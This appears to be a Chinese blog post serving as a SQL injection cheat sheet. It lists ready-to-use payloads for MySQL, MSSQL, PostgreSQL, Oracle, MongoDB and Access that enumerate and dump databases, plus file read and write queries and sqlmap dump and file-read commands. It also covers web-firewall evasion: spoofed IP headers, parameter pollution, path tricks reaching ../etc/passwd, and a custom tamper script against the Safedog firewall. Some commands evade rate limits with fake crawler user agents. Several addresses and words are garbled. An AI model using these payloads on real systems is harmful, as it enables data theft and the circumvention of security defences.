SQL注入

pumpk1n 发布于 2026-03-28 141 次阅读


判断数据库类型

https://blog.csdn.net/weixin_43749601/article/details/115369123

MYSQL注入

基本语句

判断注入点

老方法: and 1 = 1 页面正常 and 1 = 2 页面错误 可能存在注入点

1.明确参数类型

  • 数字,字符,搜索,JOSN等

2.明确请求方法

  • $_GET 使用get请求参数
  • $_POST 使用post请求参数
  • $_COOKIE 使用cookie请求参数
  • $_REQUEST任何方式都可以传入参数
  • $_SERVER 通过传入HTTP头参数获取信息(只适用于php)

SQL语句干扰符号',",%,),}

判断注入行数

?id=1 order by 1 ?id=1 order by 2 ?id=1 order by x

信息收集

数据库版本:version() 数据库名字:database() 数据库用户:user() 操作系统:@@version_compile_os

JOSN注入

{"name":"111","passwd":"111"}
注入
{"name":"111' and 1=1#"}

爆库

?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata

爆表

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='已知库名'

爆列

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='已知表名'

获取数据

?id=-1 union select 1,2,group_concat(已知字段名,':',已知字段名) from 已知表名

小贴士

如果遇到不同数据库中有同名表时,会显示第一个创建的表,或当前数据库中的表,如果想要查询的表在下面,可以同时加上数据库名和表名 id=-1 union select group_concat(column_name),2 from information_schema.columns where table_schema="root" and table_name="users"

sql注入读写文件(注意路径用“/”)

load_file():读取函数

select load_file('c:/pm.txt')

into outfile或into dumpfile:写入函数

select 'x' into outfile 'd:/pm.txt'

Access注入

access数据库

  • 表名 -> 列名 -> 数据 其余数据库
  • 数据库名 -> 表名 -> 列名 -> 数据

access注入时,表名和列名只能靠猜 如果猜不到的话:

MSSQL注入

判断是不是MSSQL数据库

?id=1 and (select count(*) from sysobjects)>0 --

判断注入点

and 1 = 1 and 1 = 2

判断字段数

?id=-1 union all select null,null,unll,unll

大体与mysql注入相似 可以参考

https://www.cnblogs.com/lxfweb/p/12675023.html

Postgre注入

基本语句

获取所有的数据库
select datname from pg_database;

获取当前数据库下所有的表
select tablename from pg_tables where schemaname = 'public'
或
select table_name from information_schema.tables where table_schema='public'

获取当前表的列名
select column_name from information_schema.columns where table_name = 'products';

获取当前表的值
select name from products

Oracle注入

Oracle 使用查询语句获取数据时需要跟上表名,在没有表的情况下可以使用dual,dual是Oracle的一个虚拟表,用来构成select的语法规则,且Oracle保证dual里永远只有一条记录

union select 1,2 form dual

探测当前数据库用户

select user from dual;

获取用户所拥有权限的数据库

select distinct owner from all_tables

获取当前数据库中的表(由于Oracle 中使用 Schema 的概念将每个用户的数据进行分离,Schema 其实类似于命名空间。默认情况下,Schema 的名称同用户名称相同)

-- 所有用户的表
select distinct table_name from all_tables where owner = 'SYSTEM'
-- 当前用户的表
select table_name from user_tables;
-- 包括系统表
select table_name from dba_tables where owner = 'SYSTEM';

获取当前SYSTEM数据库中表USER表的字段

select table_name from all_tables where owner='SYSTEM' and table_name like 'USER%'
(使用like是包含表名包含USER的表,不是等于USER的表)
select column_name from all_tab_columns where table_name ='USERS_KVHXKJ'

获取值

select USERNAME_ETSGGX,PASSWORD_OEDQBQ from USERS_KVHXKJ

MangoDB注入

获取所有字段名

id=1'}); return Object.keys(this); var dummy='

查询回显位置

id=1'});return ({'title':'1','content':'2

查询数据库名称

id=1'});return ({'title':tojson(db),'content':'2

查询表名称

  • getCollectionNames():返回所有集合名称数组
    id=1'});return ({'title':tojson(db.getCollectionNames()),'content':'2

查询字段结构

  • Authority_confidential:目标集合名
  • find()[0]:获取集合第一条记录
  • find()[1]:获取集合第二条记录
    id=1'});return ({'title':tojson(db.Authority_confidential.find()[0]),'content':'2

Access偏移注入

access数据库没有类似于mysql的information_schema这样的系统索引库,所以我们只能根据经验靠猜了

?id=1513 and exists(select * from admin)

确定目标表的字段数量

?id=1513 and exists(select * from admin order by 6)

偏移注入的基本公式

  • 联合查询所要补充的字段数 = 当前字段数量 - 目标表的字段数 x N

一级注入

?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16, * from admin

二级注入

?id=1513 union select 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id = b.id)inner join admin as c on a.id=c.id)

使用sqlmap

基本语法

python sqlmap.py -r 抓包文件 --batch --file-read "../../../../../../../../../../../../../../../../../..//filename" --tamper "space2comment" 

然后去结果文件中找答案

sqlmap脱库

python sqlmap.py -r 抓包文件 --dump

或者使用sqlmap基础爆破方法sqlmap

waf绕过sql注入

数据

  • 大小写
    id=-1 uNIoN sELecT 1,2,3#
  • 加密解密
  • 编码解码
    id=-1%252f%252a*/UNION%252f%252a /SELECT
  • 等价函数
  • 特殊符号
  • 反序列化
  • 注释符混用
    id=-1 union select 1,2,3#
    id=-1 union%23a%20select 1,2,3#    %23是#,a用来截断匹配,%20换行符
  • 内联注释
    /*!xxxxxx*/ 进行注入时mysql会把!后面的当作sql语句直接执行
    注意:在!后面加上版本号
    当!后面接的数据库版本号小于自身版本号,就会将注释中的内容执行
    当!后面接的数据库版本号大于自身版本号,就会当作注释来处理

    方式

  • 更改提交方式
  • 变异 其他
  • Fuzz大法
    这不是一个工具,这是一种思想,类似于爆破,可以尝试编写字典,然后替换注释符进行绕过
  • 数据库特性
  • 垃圾数据溢出
  • HTTP参数污染
    id=-1 union select 1,2,3#
    id=1/**&id=-1%20union%20select%201,2,3%23*/
    安全狗收到两个参数 1 /**-1%20union%20select%201,2,3%23*/  后面注释绕过
    但是数据库会执行后面那个 -1%20union%20select%201,2,3%23

方式一:IP白名单 从网络层获取的ip,这种一般伪造不来,如果是获取客户端的IP,这样就可能存在伪造Ip绕过的情况。 测试方法:修改nttp的header来bypass waf

x-forwarded-for
x-remote-IP
x-originating-工P
x-remote-addr
x-Real-ip

方式二:静态资源 特定的静态资源后缀请求,常见的静态文件(.js .jpg .swf .css等等),类似白名单机制,waf为了检测效率,不去检测这样一些静态文件名后缀的请求。

http://10.s.9.201/sql.php ?id=1
http://10.9.9.201/sql.php/1.j=?id=1

备注: aapx/php只识别到前面的.aspx/ .php后面基本不识别

方式三:url白名单 为了防止误拦,部分waf内置默认的白名单列表,如acmin/managerl system等管理后台。只要url中存在白名单的字符串,就作为白名单不进行检测。常见的uzl构造姿势:

http://10.s.s.201/=ql.php/admin.php?id=1
http://10.9.9.201/sql.php?a=/manage/&b=../etc/passwd
http://10.9.s.201/../../../manage/../sql.asp?id=2

waf通过/manage/"进行比较,只要uri中存在/manage/就作为白名单不进行检测,这样我们可以通过/sql.php?a=/ manage/&b=../etc/passwcl绕过防御规则。

sqlmap绕过waf

使用sqlmap的tamper脚本进行绕过 但是自带的脚本只能绕过ctf比赛那种题目,实战中需要自己编写

sqlmap绕过安全狗 首先编写bypassdog.py文件

#!/usr/bin/env python

import re

from lib.core.settings import UNICODE_ENCODING
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL

def dependencies():
    pass

def tamper(payload, **kwargs):
    if payload:
        payload = payload.replace(" ","/*/!%!/*/")
        payload = payload.replace("()","(/*/!%!/*/)")
        payload = re.sub(r"(?i)(INFORMATION_SCHEMA.SCHEMATA)",r"/*!00000--%20/*%/%0aINFORMATION_SCHEMA.SCHEMATA*/",payload)
        payload = re.sub(r"(?i)(INFORMATION_SCHEMA.TABLES)",r"/*!00000--%20/*%/%0aINFORMATION_SCHEMA.TABLES*/",payload)
        payload = re.sub(r"(?i)(INFORMATION_SCHEMA.COLUMNS)",r"/*!00000--%20/*%/%0aINFORMATION_SCHEMA.COLUMNS*/",payload)
        payload = re.sub(r"(?i)(/AS/)",r"//*!00000--%20/*%/%0aAS*//",payload)        

    return payload

其实就是根据前面的手注来修改payload

然后使用sqlmap

sqlmap.py -u "http://192.168.13.131/sqli-labs/Less-2/?id=1" --tamper "bypassdog.py" --proxy "http://127.0.0.1:8080/" --random-agent
  • --tamper "bypassdog.py" 使用的脚本
  • --proxy "http://127.0.0.1:8080/" 挂代理,使用burpsuit查看爆破情况
  • --random-agent 使用随机http头,slqmap的头会被检测到

如果对方开启了流量控制,那么我们使用sqlmap爆破时,会因为速度太快,封禁我们的ip

1.可以使用到浏览器爬虫http头

sqlmap.py -u "http://192.168.13.131/sqli-labs/Less-2/?id=1" --tamper "bypassdog.py" --proxy "http://127.0.0.1:8080/" --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/18.17763"
  • --user-agent= 设置为搜索引擎的http头,可以进行爬虫

2.可以使用延迟注入

sqlmap.py -u "http://192.168.13.131/sqli-labs/Less-2/?id=1" --tamper "bypassdog.py" --proxy "http://127.0.0.1:8080/" --random-agent --delay 1
或者
sqlmap.py -u "http://192.168.13.131/sqli-labs/Less-2/?id=1" --tamper "bypassdog.py" --proxy "http://127.0.0.1:8080/" --random-agent --safe-freq 3
  • --delay 1
  • --safe-freq 3

3.本地脚本 sqlmap去注入本地脚本 -> 本地搭建脚本(请求数据包自定义编写)-> 远程地址 (不太会用)

<?php
$data = array(‘foo' => ‘bar');
$data = http_build_query($data);
$opts = array('http' => array('method' => 'POST', 'header' => 'Content-type: application/x-www-form-urlencodedrn' . 'Content-Length: ' . strlen($data) . '\r\n', 'content' => $data));
$context = stream_context_create($opts);
$html = file_get_contents('https://wenda.shukaming.com', false, $context);
echo $html;
?>
此作者没有提供个人介绍。
最后更新于 2026-05-09